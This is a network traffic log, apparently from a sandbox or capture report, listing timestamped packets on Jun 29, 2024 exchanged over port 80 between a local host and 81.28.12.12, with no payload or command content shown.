Jun 29, 2024 08:05:18.861409903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861443996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861474991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861489058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861515999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861529112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861561060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861577034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861596107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861601114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861629963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861663103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861680031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861695051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861701965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861728907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861737013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861761093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861773968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861794949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861803055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861823082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861836910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861864090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861874104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861907959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861937046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861944914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.861954927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.861998081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.862030983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.862040043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.862049103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.862066984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.862076044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.862114906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.862122059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.862157106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.862169027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.862190962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.862195969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.862236023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.862241983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.862279892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.862303019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.862314939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.862323999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.862348080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.862354994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.862382889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.862390995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.862413883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.862421989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.862447977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.862459898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.862498045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.865751982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.865786076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.865808010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.865828037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.865837097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.865869045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.865902901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.865915060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.865936995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.865947008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.865971088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.865978956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.866003990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.866013050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.866048098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.872118950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.872173071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.872173071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.872209072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.872230053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.872255087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.872273922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.872307062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.872340918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.872349977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.872375965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.872385025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.872423887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935210943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935242891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935269117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935282946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935297012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935339928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935388088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935421944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935432911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935456038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935463905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935519934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935554028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935575962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935586929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935607910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935631990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935637951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935668945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935678959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935703039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935709000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935735941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935743093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935786963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935818911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935841084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935852051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935864925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935885906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935904980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935920954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935940027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.935956955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.935967922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.936002970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.936011076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.936043024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.936059952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.936091900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.936104059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.936125040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.936147928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.936157942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.936166048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.936191082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.936196089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.936223030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.936228991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.936254978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.936275005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.936290026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.936322927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.936335087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.936358929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.936378002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.936392069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.936399937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.936527967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.946413994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.946446896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.946479082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.946492910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.946511984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.946522951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.946532011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.946564913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.946599007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.946619034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.946634054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.946645975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.946677923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.946717024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.946748972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.946783066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.946794033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.946815968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.946826935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.946850061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.946867943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.946883917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.946891069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.946918964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.946928024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.946959972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949084997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949114084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949131012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949167013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949167967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949203014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949237108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949249983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949270964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949286938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949325085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949327946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949358940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949367046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949390888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949400902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949438095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949444056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949476957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949482918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949511051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949523926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949543953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949556112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949599028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949599981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949631929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949641943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949666977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949678898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949701071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949712992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949747086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949759960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949781895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949800014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949825048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949836969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949868917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949902058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949923038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949934959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949948072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.949969053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.949975967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950004101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.950025082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950043917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950043917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.950078964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.950088978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950114965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.950119019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950149059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.950169086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950198889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950572968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.950625896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.950628042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950659990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.950669050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950701952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950751066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.950783968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.950812101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950818062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.950825930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950866938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950869083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.950902939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.950911045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950932980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.950948954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950965881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.950974941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.950999975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951049089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951052904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.951143980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951176882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951189995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.951211929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951241016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951267958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.951286077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.951436996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951486111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.951488972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951518059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951543093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.951566935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.951570988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951602936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951612949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.951644897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.951658964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951710939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951742887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951759100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.951776028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951792955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.951821089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.951828003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951863050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951895952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951911926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.951927900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951961994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.951971054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.951997042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.952003002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.952044964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.955271006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.955327034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.955368042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.955375910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.955425024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.955426931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.955460072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.955478907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.955492020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.955514908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.955523968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.955524921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.955636024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.955641985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.955678940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.961668968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.961725950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.961750031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.961755991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.961775064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.961802006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.961810112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.961854935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.961863041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.961895943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.961908102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.961929083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.961932898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.961961985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.961970091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.962007999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.024750948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.024813890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.024816036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.024857998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.024866104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.024919033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.024951935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.024971962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.024985075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025033951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025037050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025070906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025104046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025113106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025137901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025140047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025160074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025171041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.025181055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025218010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.025223017 CEST	80	49731	81.28.12.12	192.168.2.4
